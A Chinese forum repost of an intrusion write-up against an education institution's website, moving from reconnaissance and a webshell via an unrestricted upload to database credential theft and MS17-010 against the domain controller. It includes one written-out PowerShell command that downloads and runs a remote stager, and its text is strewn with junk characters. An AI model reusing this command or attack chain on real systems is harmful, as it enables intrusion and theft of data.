找回密码
 立即注册
中国网络渗透测试联盟»论坛 › --==渗透测试区{ Penetration testing area }==-- › web app渗透测试::『Web App penetration testing』 › 渗透实战 | 从外网直接打到内网全过程
欢迎中测联盟老会员回家，1997年注册的域名
返回列表 发新帖
查看: 2866|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
admin
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

. _- ]/ F! T( u9 v. s0 U 这次渗透是一个从0到1，从外网到拿下域控的实战过程，希望可以给大家一些思路 * U( R, t9 L5 n- g0 \' T

8 j7 u W" l$ u8 Y. ]/ c. W& z% E

- G" o# o- y- d9 Z0 c! x/ `# R; R' ~  1 q6 K9 [0 @1 h9 W( e6 C5 n0 o

+ ] _3 _9 P1 F* s* s

* p8 L# U; ]/ @" X 正文1 m+ a7 B9 L* N

# Q7 ]' P" u+ B/ z* O" n

& H2 c6 E, i: O3 X  0 N& y' W$ N7 e2 p/ q0 C8 G$ e8 \

4 [# {! a! j* J( d/ F0 [! Y

* N. M8 ]# [2 P0 h8 ] 目标：www.xxxx.com(一家教育机构)
( M3 H; L3 i3 S; ~/ {" H打开是一个登录框，只能是手机号+密码或者手机号+验证码且并未开放注册功能. i9 o* G* t6 I: i, l

) Y7 M- e" u2 u+ `! L! V

+ Q" v5 ~5 o) O2 T: C ? vshapes= 3 f3 [4 o) A) z" m9 {

; R+ @0 Y" ?3 X

/ h" q( y, e) H6 V, f/ z: p; g# } 进行了简单的信息搜集
8 n: \+ ?+ D# B% @3 _
( W* A( f- Y3 H y: b0 B : R" F$ G8 R8 Y8 S- W

2 n) |1 s6 Q0 j" w. I- X% B! G4 y

6 z8 a! r- T3 {2 t# C1 b 子域名搜集0 _) @( ^+ Z+ m7 t$ H9 d5 x

# K- b- w8 v9 L4 s; ]8 c

* L( r. ~: A0 k* V9 e" G) Y vshapes=7 e( t2 W' L% u8 x) v

# x: v+ E2 l1 W0 a3 Q. z7 X

' W5 m5 n/ W* T* E" m fofa找资产
% Q! |( ]" M% T y( [1 w K
; G! B6 b+ T. _% g4 E: e' H( R c9 Z W" [5 R

' q8 w, G5 P( [: J3 p ]3 w7 p" O

0 x# t2 I2 m4 ]7 r vshapes=. K6 y% v3 y; s0 z* @$ r

! C$ |$ n0 J# C- v% j/ P- p

/ _$ x# _! H9 q Q# x 一共七个资产。去重之后只有两个。
; Q0 B: r# I6 o8 u3 `9 W
2 y( [. r2 |5 H; j; `& _# A3 y0 ~& A

; H9 i$ `/ j# S0 N9 m

4 V8 h* E. W% v" {7 [ 目录探测 # G% s/ ]% p( ~* G8 h

/ ]0 z* s8 W% ~9 A' P

9 I3 ?+ H2 n' n5 S vshapes= 0 Y+ k7 r1 I9 X" C' F4 O

. ~; |/ ]; F! Z9 \* d

4 N2 i5 V, f5 j6 }; r9 _9 N* R 我尝试了暴力枚举，看有没有弱口令之类的,然而并没有
% M" C z: N' [2 a
/ M" ]* w x2 ^/ K$ A# U( y$ F9 s( s8 a* F9 |; }) L3 o

" X, |2 J, a7 f7 Y& i/ Z9 @3 s/ l

X. I7 l i% a# k. b7 C _ 我又尝试了通过修改返回包来绕过登录界面1 P# W& {+ X% j# [$ i Y ?

1 ]% B. @: O* O7 x4 S; i4 f! ?

4 s& e( j, s W, i vshapes= ( i- D+ t: X: M$ {

; }! h, E, N4 P) ?# l

1 v2 X' J8 Y- G 还是不行，尝试注入无果 0 U( I! G' ~/ C

/ r5 Z1 m3 L! D& m. K

3 e* n6 Y9 Y6 X/ T vshapes= 4 K+ u# j9 _0 V" s6 W% s* o, _& f

' T- I, z$ b; z7 j+ k) ~0 {

3 I& A( _+ S8 u$ o$ a) {* O 不过我目录探测出了一处Spring信息泄露
, ?% W* A w9 ?' ]% o8 y2 v8 d6 r
1 j" p+ s0 w$ U- }5 S; @9 k; d l, u* w( E" ~( ^8 ~

1 z; [1 z I! @6 v3 K& ]8 s3 d

2 q/ H" c, s7 u vshapes= $ ?! [# U8 v$ K& `% M5 L3 j

5 F, u$ Y5 n9 |2 X5 g

' H: O+ w' ^+ M' u& S$ ] 尝试Spring RCE无果，想通过trace目录下替换cookie实现登录，但是发现删除了这个目录 / G, o* v# N7 v1 m- C1 v+ {8 _

/ N+ q0 o( F) O: P- a* t

: G/ I2 C) a; z+ A# L3 y vshapes= 8 f6 t) T9 c3 `6 I+ x

2 t5 y9 {4 ]9 @

1 U& Q/ m- I" s1 q 后对公众号进行了简单的信息搜集，针对公众号搜集时，尽量找后面认证过的进行渗透。 o5 y1 T& X* x- |) i

: x* E c5 o! N9 }# |/ T

5 R4 ~) t) r, s, a: J vshapes=% q* s& k0 r3 y+ t5 ?' y

5 W4 Z* N9 u* @, ?

/ D; J1 ^" N7 @% d* Z2 ] 获取有些师傅到这一步就手机抓包电脑测了。 7 J$ Z5 U6 A" O9 `

5 A+ d- I( B5 p# k+ l

0 }* H& C4 A9 n1 x4 `. } Windows新版微信可以抓取公众号和小程序的包，只需要把IE代理配置一下即可。8 W, f/ @8 B; N) t5 J5 w0 R

0 U3 _8 {& \' S: X2 z4 q [* C0 j

* Y+ e8 y: A8 m# S& N: A 其中在一个公众号发现了小程序，可以进行注册。 ' v' Y4 M7 m O6 Y4 v# q

: U8 ` Q) [; s- a1 O& M

" U$ {$ C# Y- |- W/ o: [ 看到了头像上传，尝试上传获取WebShell 3 \( ?: j! X ?4 B9 }

& @" _2 D ~; |% G

# y, M1 Q( T% p3 q% h {6 y3 k6 Z vshapes=) v5 \: O5 l1 n& ~+ f+ B1 X% [

& n! Q! A4 F F6 z$ q$ b2 Y

. u6 N4 d7 I. ~ 未做任何限制成功GetShell，上了冰蝎马，目录没权限访问3 ~! d) |, V$ @2 U- r7 {- P

, a/ v9 ?- w* i

9 r2 N4 t- d( {& F& @ vshapes=, I2 R8 r1 L* ^( G8 |4 x' O; O

+ M2 k5 w/ \* U1 R, l

. O( I6 r/ f' c 然后上了大马3 j2 R9 |' }+ E0 _% z1 g0 @

6 ?2 ]0 o( _6 w

6 D% r+ z" I ~! M/ \" C; Z" f vshapes= ! I% C! N# w0 H6 P: \, [- N3 s

1 f! u: G0 {7 p

W% C+ C! Y& `2 ]" e# O$ B C vshapes= ' a* ?; p3 }" d2 p

: T3 V& e0 v: R0 |- k

$ F. t$ I( S4 R1 ?# V$ m2 @, l 通过翻找文件发现数据库账号密码 - A& i, Q$ z0 c1 k" a0 I

+ j2 v: W) c; H, D# U; r

H8 \7 @0 H5 M) i vshapes=: k3 Q2 p) P! f

) J; b8 m$ [. {

0 E4 A& }! o8 O0 M* Q --内网渗透# b$ R( N' C# U- k5 u

& }& p7 g& T j

4 q4 M: C; e4 B" _- G 直接通过powershell执行 cs上线 & q/ s6 S+ w2 v0 J0 b' Z

1 p% M5 x" @8 @4 F; V

4 t8 `5 {0 i2 j( M+ K' A powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"# U. i. o8 a* |9 y

$ i7 }8 b. k# ]$ h4 y

% w/ B, B5 u! e3 n vshapes= 6 m* @+ v$ s, Z

4 ?% F5 J2 B9 T2 i

4 X% P. I. d) z 进入内网后，简单的进行一波信息收集，寻找域控并对服务器段进行弱口令爆破 0 l6 V% z2 U8 r7 \5 g# M! B

, c( c! W' h8 U8 r

* W; D3 J. _! E0 I8 C0 ]7 M- W vshapes=1 t2 I% A( g" `. f1 f( I

, K0 f* |, m" } F0 S! e

8 Z3 _! I1 R/ d' R% ^: b ` 登录爆破出来的服务器，发现多网卡且存在逻辑隔离。
- a; v, X$ W7 ?4 w
6 w* P7 A0 a9 l1 e* H
9 T. A) E0 R4 J 8 e s; i( U3 }

2 F# L! c) s( C0 N; X7 M: _

3 r) u6 l+ e2 O" m% {, j8 B vshapes= ' x, E1 n) W1 ^: L- ?1 K

" g' n7 M7 t* U+ I( ?8 ^

8 L( f- C, l) ?8 u3 C 通过跳扳机能通域控，发现域控server2008且存在ms17010,直接一把梭
, d4 C) L1 V: i0 g
{' h% M" g3 M0 b0 @ \; i 6 W6 f* s8 b4 A

9 X u5 m) {/ v+ K5 Z0 C

! x- N4 X' u3 {/ D" d2 O vshapes= - a! q& z% r4 {' z" J) e

& P; y4 Q5 {6 t/ w0 y% [. D

7 a9 J1 p. }3 h. D
3 O9 H; W0 n* r5 q D* \
8 f4 I' a" o; W: }8 p! T / p6 y* x5 K) k) s1 M3 v

+ w O; w: r/ f9 H/ U! v

7 q0 N7 b9 }+ N# K Z, Y% H   4 t8 r+ p) [4 s8 x( W$ T! Y

$ i6 ?# m4 W9 s. `" A

# n! h! Z, h) [ L3 v" A! _ 小结 , m: G! z$ u; d1 Z% Q4 ?* m

7 ]" z {! l e. c$ B5 O6 T% k% \

% }$ K4 c; L' N. e: b1 \  $ ]0 ]/ H# B1 |" u' Z/ z

+ N% ]+ ~% b- m

$ H6 S) _7 F9 x$ s/ z, m" s 在渗透测试过程中，信息收集很重要，细心和耐心也是不可缺少的，总得来说，这次的渗透测试总的来说比较顺利，希望可以给大家带来一些思路！/ q, A$ ^- y# v4 g7 s

, S6 p* a8 r4 p* B* W: a

& ~ T% |& [0 P! ]. m9 p/ W   , ^; J% Z, Q2 h, f G i

) i' H Z# M$ r$ {) ^% k
    , ~2 v J4 `$ ]) P2 Z
  • . [* J3 D% p: |# ] t# d6 H0 Q  ) }. x7 v% ]. ]/ ]: T
    • 4 d- t0 Z; a: ?1 B% r
  • $ N5 l- T* _5 ? M   7 ^3 [! v" p5 d( A' S
    • ( z1 r; Y3 e) B8 Y6 u
, {# z6 C9 C5 ~9 \$ ]6 C+ O

7 i% L1 U4 l/ @$ k1 T 作者：Xm4FDf转载自：https://bbs.ichunqiu.com/thread-57879-1-1.html3 S9 @, @( F7 l4 |# ]1 ]

% C0 }$ I) o. l. `2 E

: `. m; \$ R5 [7 A9 {   , z& Y+ d$ i% z% I

回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Copyright © 2001-2013 Comsenz. All Rights Reserved - Powered by Discuz! X3.2
快速回复 返回顶部 返回列表